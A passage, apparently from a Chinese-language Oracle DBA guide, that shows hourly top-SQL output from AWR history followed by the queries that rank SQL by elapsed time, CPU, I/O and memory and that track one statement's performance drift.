\u0026#34;A\u0026#34;@\u0026#34;SEL$1\u0026#34;) USE_NL(@\u0026#34;SEL$F5BB74E1\u0026#34; \u0026#34;A\u0026#34;@\u0026#34;SEL$1\u0026#34;) | 2026-01-23 20:00| 5|6abthk1u14yb7| 0.11| 3| 1|SELECT VERSION FROM V$INSTANCE | 2026-01-23 19:00| 1|121ffmrc95v7g| 0.31| 4| 2|select i.obj#,i.ts#,i.file#,i.block#,i.intcols,i.type#,i.flags,i.property,i.pctfree$,i.initrans,i.ma| 2026-01-23 19:00| 2|3dbzmtf9ahvzt| 0.22| 2| 137|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 19:00| 3|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 19:00| 4|c3utnxsnrx8tk| 0.18| 3| 3|update obj$ set obj#=:4, type#=:5,ctime=:6,mtime=:7,stime=:8,status=:9,dataobj#=:10,flags=:11,oid$=:| 2026-01-23 19:00| 5|g0t052az3rx44| 0.17| 4| 2|select name,intcol#,segcol#,type#,length,nvl(precision#,0),decode(type#,2,nvl(scale,-127/*MAXSB1MINA| 2026-01-23 18:00| 1|6ymxhj8mfgb46| 0.57| 1| 1|select sum(bytes)/1024.0 from dba_segments where owner = \u0026#39;SYS\u0026#39; and (segment_name like \u0026#39;WRI$_OPTSTAT_| 2026-01-23 18:00| 2|ct9ppzr6uuzv9| 0.39| 1| 1|select owner, segment_name, nvl(sum(blocks), 0) from dba_segments where tablespace_name = :tsname| 2026-01-23 18:00| 3|8cpwjpm11v8wu| 0.24| 1| 1|SELECT /*+ ordered full(t) full(o) use_hash(o) ¶ OPT_PARAM(\u0026#39;_parallel_syspls_obey_forc| 2026-01-23 18:00| 4|3dbzmtf9ahvzt| 0.22| 2| 138|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 18:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 17:00| 1|f9dcfdnuhy9z1| 2.12| 2| 8|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 17:00| 2|7bxwkbxnsg0qy| 2.1| 2| 1|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 17:00| 3|8fhz3a6jurk3u| 1.06| 2| 2|SELECT OBJECT_NAME, STATUS, CREATED, LAST_DDL_TIME, TEMPORARY FROM ALL_OBJECTS WHERE OBJECT_TYPE=\u0026#39;P| 2026-01-23 17:00| 4|8z6jf4nswsn2v| 0.65| 1| 1|SELECT IOE.INDEX_OBJECT_ID IDX_OBJ#, IOE.INDEX_OWNER IDX_OWNER, IOE.INDEX_NAME IDX_NAME, IOE.INDEX_S| 2026-01-23 17:00| 5|121ffmrc95v7g| 0.31| 4| 1|select i.obj#,i.ts#,i.file#,i.block#,i.intcols,i.type#,i.flags,i.property,i.pctfree$,i.initrans,i.ma| 2026-01-23 15:00| 1|9yv5dwv8k0awg| 4.17| 1| 3|WITH MONITOR_DATA AS (SELECT INST_ID, KEY, NVL2(PX_QCSID, NULL, STATUS) STATUS, FIRST_REFRESH_TIME, | 2026-01-23 15:00| 2|f9dcfdnuhy9z1| 2.12| 2| 22|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 15:00| 3|7bxwkbxnsg0qy| 2.1| 2| 2|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 15:00| 4|atwuyuvqkf27w| 2| 1| 3|SELECT /*+ OPT_PARAM(\u0026#39;_fix_control\u0026#39; \u0026#39;16391176:1\u0026#39;) */ GROUP_TYPE, BUCKET_START, BUCKET_END, TM_GROUP_| 2026-01-23 15:00| 5|8fhz3a6jurk3u| 1.06| 2| 2|SELECT OBJECT_NAME, STATUS, CREATED, LAST_DDL_TIME, TEMPORARY FROM ALL_OBJECTS WHERE OBJECT_TYPE=\u0026#39;P| 2026-01-23 14:00| 1|7nght4ar0wrjs| 0.53| 1| 1|insert into AWR_PERF_TREND_HISTORY(¶SNAP_ID, ¶ INSTANCE_NUMBER, ¶ BEGIN_TIME,¶ AAS, ¶ LR| 2026-01-23 14:00| 2|121ffmrc95v7g| 0.24| 3| 18|select i.obj#,i.ts#,i.file#,i.block#,i.intcols,i.type#,i.flags,i.property,i.pctfree$,i.initrans,i.ma| 2026-01-23 14:00| 3|3dbzmtf9ahvzt| 0.22| 2| 427|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 14:00| 4|9t6y0bs2fj7xg| 0.21| 1| 4| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 14:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 13:00| 1|f9dcfdnuhy9z1| 2.12| 2| 29|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 13:00| 2|7bxwkbxnsg0qy| 2.1| 2| 2|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 13:00| 3|8fhz3a6jurk3u| 1.06| 2| 2|SELECT OBJECT_NAME, STATUS, CREATED, LAST_DDL_TIME, TEMPORARY FROM ALL_OBJECTS WHERE OBJECT_TYPE=\u0026#39;P| 2026-01-23 13:00| 4|8rz77380vz6yg| 0.95| 2| 2|WITH snap_range AS (¶ SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_ti| 2026-01-23 13:00| 5|4jmfm820f6hd8| 0.53| 1| 1|SELECT DISTINCT OWNER,OBJECT_NAME,OBJECT_TYPE FROM (¶SELECT OWNER,OBJECT_NAME,OBJECT_TYPE FROM ALL_| 2026-01-23 12:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 12:00| 2|3dbzmtf9ahvzt| 0.22| 2| 415|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 12:00| 3|6wm3n4d7bnddg| 0.22| 1| 1| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 12:00| 4|9t6y0bs2fj7xg| 0.21| 1| 6| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 12:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 11:00| 1|9yv5dwv8k0awg| 4.17| 1| 1|WITH MONITOR_DATA AS (SELECT INST_ID, KEY, NVL2(PX_QCSID, NULL, STATUS) STATUS, FIRST_REFRESH_TIME, | 2026-01-23 11:00| 2|ggh55rhz95kyj| 3.57| 1| 1|SELECT AUDIT_OPTION_TYPE, COUNT(DISTINCT POLICY_NAME) POL_CNT FROM AUDIT_UNIFIED_POLICIES GROUP BY A| 2026-01-23 11:00| 3|atwuyuvqkf27w| 2| 1| 1|SELECT /*+ OPT_PARAM(\u0026#39;_fix_control\u0026#39; \u0026#39;16391176:1\u0026#39;) */ GROUP_TYPE, BUCKET_START, BUCKET_END, TM_GROUP_| 2026-01-23 11:00| 4|bqwq0b40tp15k| 1.07| 1| 1|with bracket as (¶ select /*+ materialize */ x.* from¶ (select dense_| 2026-01-23 11:00| 5|dvu40a9avazf8| 0.94| 1| 2|select xmlagg(¶ xmlelement(\u0026#34;operation\u0026#34;, ¶ xmlattribu| 2026-01-23 10:00| 1|2qwrv481mqbrk| 0.54| 1| 1|SELECT DISTINCT OWNER,OBJECT_NAME,OBJECT_TYPE FROM (¶SELECT OWNER,OBJECT_NAME,OBJECT_TYPE FROM ALL_| 2026-01-23 10:00| 2|0vv9gu44zt1pv| 0.53| 1| 3|SELECT DISTINCT OWNER,OBJECT_NAME,OBJECT_TYPE FROM (¶SELECT OWNER,OBJECT_NAME,OBJECT_TYPE FROM ALL_| 2026-01-23 10:00| 3|4jmfm820f6hd8| 0.53| 1| 3|SELECT DISTINCT OWNER,OBJECT_NAME,OBJECT_TYPE FROM (¶SELECT OWNER,OBJECT_NAME,OBJECT_TYPE FROM ALL_| 2026-01-23 10:00| 4|1xk038qvudzmy| 0.47| 1| 1|WITH snap_range AS (¶ SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_ti| 2026-01-23 10:00| 5|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 09:00| 1|f9dcfdnuhy9z1| 2.11| 2| 39|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 09:00| 2|7bxwkbxnsg0qy| 2.1| 2| 2|SELECT O.*,¶t.TABLE_TYPE_OWNER,t.TABLE_TYPE,t.TABLESPACE_NAME,t.PARTITIONED,t.IOT_TYPE,t.IOT_NAME,t| 2026-01-23 09:00| 3|8fhz3a6jurk3u| 1.04| 2| 2|SELECT OBJECT_NAME, STATUS, CREATED, LAST_DDL_TIME, TEMPORARY FROM ALL_OBJECTS WHERE OBJECT_TYPE=\u0026#39;P| 2026-01-23 09:00| 4|4jmfm820f6hd8| 0.53| 1| 9|SELECT DISTINCT OWNER,OBJECT_NAME,OBJECT_TYPE FROM (¶SELECT OWNER,OBJECT_NAME,OBJECT_TYPE FROM ALL_| 2026-01-23 09:00| 5|fr3r2ky8d6zqw| 0.44| 1| 1|SELECT 1 FROM ALL_ALL_TABLES WHERE 1\u0026lt;\u0026gt;1 | 2026-01-23 08:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 08:00| 2|3dbzmtf9ahvzt| 0.22| 2| 406|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 08:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 08:00| 4|9t6y0bs2fj7xg| 0.21| 1| 2| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 08:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 07:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 07:00| 2|3dbzmtf9ahvzt| 0.22| 2| 416|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 07:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 07:00| 4|9t6y0bs2fj7xg| 0.21| 1| 6| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 07:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 06:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 06:00| 2|3dbzmtf9ahvzt| 0.22| 2| 418|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 06:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 06:00| 4|9t6y0bs2fj7xg| 0.21| 1| 6| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 06:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 05:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 05:00| 2|3dbzmtf9ahvzt| 0.22| 2| 515|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 05:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 05:00| 4|9t6y0bs2fj7xg| 0.21| 1| 2| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 05:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 04:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 04:00| 2|3dbzmtf9ahvzt| 0.22| 2| 413|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 04:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 04:00| 4|9t6y0bs2fj7xg| 0.21| 1| 6| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 04:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 03:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 03:00| 2|3dbzmtf9ahvzt| 0.22| 2| 417|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 03:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 03:00| 4|9t6y0bs2fj7xg| 0.21| 1| 2| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 03:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 02:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 02:00| 2|3dbzmtf9ahvzt| 0.22| 2| 422|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 02:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 02:00| 4|9t6y0bs2fj7xg| 0.21| 1| 6| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 02:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-23 01:00| 1|3wrrjm9qtr2my| 1.2| 1| 2|SELECT T.CLIENT_ID, T.OPERATION_ID, T.TARGET_TYPE, T.TARGET_NAME, T.| 2026-01-23 01:00| 2|bkryyh4vf4p55| 0.54| 1| 1|SELECT COUNT(*) FROM DBA_SCHEDULER_JOBS WHERE JOB_NAME = :B1 AND OWNER =\u0026#39;ORACLE_OCM\u0026#39; | 2026-01-23 01:00| 3|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 01:00| 4|3dbzmtf9ahvzt| 0.22| 2| 423|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 01:00| 5|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 00:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-23 00:00| 2|3dbzmtf9ahvzt| 0.22| 2| 421|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-23 00:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-23 00:00| 4|9t6y0bs2fj7xg| 0.21| 1| 2| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-23 00:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-22 23:00| 1|9sg6u8xys290z| 0.39| 2| 1|select count(*) num_enabled, sum(case optimizer_stats when \u0026#39;ENABLED\u0026#39; then 1 else 0 end) stats_enable| 2026-01-22 23:00| 2|3dbzmtf9ahvzt| 0.22| 2| 522|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-22 23:00| 3|6wm3n4d7bnddg| 0.22| 1| 6| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-22 23:00| 4|9t6y0bs2fj7xg| 0.21| 1| 6| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-22 23:00| 5|3kqrku32p6sfn| 0.19| 1| 4|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-22 22:00| 1|3dbzmtf9ahvzt| 0.22| 2| 209|merge /* KSXM:OPTIM_DML_INF */ into sys.mon_mods_all$ m using dual | 2026-01-22 22:00| 2|6wm3n4d7bnddg| 0.22| 1| 3| SELECT source, (case when time_secs \u0026lt; 1 then 1 else time_secs end) as time_secs, oper| 2026-01-22 22:00| 3|9t6y0bs2fj7xg| 0.21| 1| 2| select /*jskqjobqlod2*/ /*+ no_monitor no_statement_queuing current_instance */ nvl(con_id, 0| 2026-01-22 22:00| 4|3kqrku32p6sfn| 0.19| 1| 2|MERGE /*+ OPT_PARAM(\u0026#39;_parallel_syspls_obey_force\u0026#39; \u0026#39;false\u0026#39;) */ INTO OPTSTAT_USER_PREFS$ D USING ( SEL| 2026-01-22 22:00| 5|dg0yzvqbxwkps| 0.19| 2| 6|SELECT dbin.instance_number, dbin.db_name, dbin.instance_name, dbin.host_name, dbin.version, | TOP # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 WITH snap_range AS ( -- 1. 鎖定時間範圍與基本資訊 SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 ), sql_hourly_stats AS ( -- 2. 彙整各類效能指標，確保傳遞 dbid SELECT TRUNC(sr.begin_interval_time, \u0026#39;HH24\u0026#39;) as start_hour, s.sql_id, s.dbid, s.snap_id,s.instance_number, SUM(s.elapsed_time_delta) / 1000000 as total_elapsed_sec, SUM(s.cpu_time_delta) / 1000000 as total_cpu_sec, SUM(s.iowait_delta) / 1000000 as total_iowait_sec, SUM(s.buffer_gets_delta) as total_gets, SUM(s.disk_reads_delta) as total_reads, -- 考慮版本相容性的 Unoptimized Reads 邏輯 SUM(s.disk_reads_delta - NVL(s.optimized_physical_reads_delta, 0)) as unoptimized_reads, SUM(s.executions_delta) as total_execs, SUM(s.parse_calls_delta) as total_parses, MAX(s.sharable_mem) / 1024 / 1024 as max_mem_mb, MAX(s.version_count) as max_versions FROM dba_hist_sqlstat s JOIN snap_range sr ON s.snap_id = sr.snap_id AND s.dbid = sr.dbid AND s.instance_number = sr.instance_number GROUP BY TRUNC(sr.begin_interval_time, \u0026#39;HH24\u0026#39;), s.sql_id, s.dbid,s.snap_id,s.instance_number ), ranked_sql_el AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY total_elapsed_sec DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_cpu AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY total_cpu_sec DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_iowait AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY total_iowait_sec DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_gets AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY total_gets DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_reads AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY total_reads DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_upreads AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY unoptimized_reads DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_exe AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY total_execs DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_maxmb AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY max_mem_mb DESC) as rnk FROM sql_hourly_stats sh), ranked_sql_vers AS (SELECT sh.*,ROW_NUMBER() OVER ( PARTITION BY start_hour ORDER BY max_versions DESC) as rnk FROM sql_hourly_stats sh) select t.t, t.dbid, t.snap_id, t.instance_number, TO_CHAR(t.start_hour, \u0026#39;YYYY-MM-DD HH24:MI\u0026#39;) as \u0026#34;Analysis_Hour\u0026#34;, t.rnk as \u0026#34;Rank\u0026#34;, t.sql_id, ROUND(t.total_elapsed_sec, 2) as \u0026#34;Elapsed(s)\u0026#34;, ROUND(t.total_cpu_sec, 2) as \u0026#34;CPU(s)\u0026#34;, ROUND(t.total_iowait_sec, 2) as \u0026#34;IOWait(s)\u0026#34;, t.total_gets as \u0026#34;Gets\u0026#34;, t.total_reads as \u0026#34;Reads\u0026#34;, t.unoptimized_reads as \u0026#34;UnOpt_Reads\u0026#34;, t.total_execs as \u0026#34;Execs\u0026#34;, t.total_parses as \u0026#34;Parses\u0026#34;, ROUND(t.max_mem_mb, 2) as \u0026#34;Mem(MB)\u0026#34;, t.max_versions as \u0026#34;Vers\u0026#34;, DBMS_LOB.SUBSTR(st.sql_text, 100, 1) as \u0026#34;SQL_Snippet\u0026#34; from ( select \u0026#39;total_elapsed_sec\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_el r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;total_cpu_sec\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_cpu r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;total_iowait_sec\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_iowait r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;total_gets\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_gets r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;total_reads\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_reads r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;unoptimized_reads\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_upreads r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;total_execs\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_exe r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;max_mem_mb\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_maxmb r WHERE r.rnk \u0026lt;= 5 union all select \u0026#39;max_versions\u0026#39; t, r.dbid,r.snap_id,r.instance_number,r.start_hour,r.rnk,r.sql_id,r.total_elapsed_sec,r.total_cpu_sec,r.total_iowait_sec,r.total_gets,r.total_reads,r.unoptimized_reads,r.total_execs,r.total_parses,r.max_mem_mb,r.max_versions from ranked_sql_vers r WHERE r.rnk \u0026lt;= 5 ) t LEFT JOIN dba_hist_sqltext st ON t.sql_id = st.sql_id AND t.dbid = st.dbid ORDER BY t.t, t.start_hour DESC, t.rnk ASC; 特定 SQL 的執行效能趨勢 (Performance Drift) # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SELECT s.snap_id, sn.begin_interval_time, s.sql_id, s.plan_hash_value, -- 觀察執行計畫是否有變動 s.executions_delta as execs, ROUND(s.elapsed_time_delta / 1000000, 2) as elapsed_sec, -- 每次執行的邏輯讀取（判斷索引效率） ROUND(s.buffer_gets_delta / NULLIF(s.executions_delta, 0), 2) as gets_per_exec, -- 每次執行的物理讀取（判斷 I/O 壓力） ROUND(s.disk_reads_delta / NULLIF(s.executions_delta, 0), 2) as reads_per_exec, -- 每次執行的 CPU 時間 ROUND(s.cpu_time_delta / 1000000 / NULLIF(s.executions_delta, 0), 2) as cpu_per_exec FROM dba_hist_sqlstat s JOIN dba_hist_snapshot sn ON s.snap_id = sn.snap_id WHERE s.sql_id = 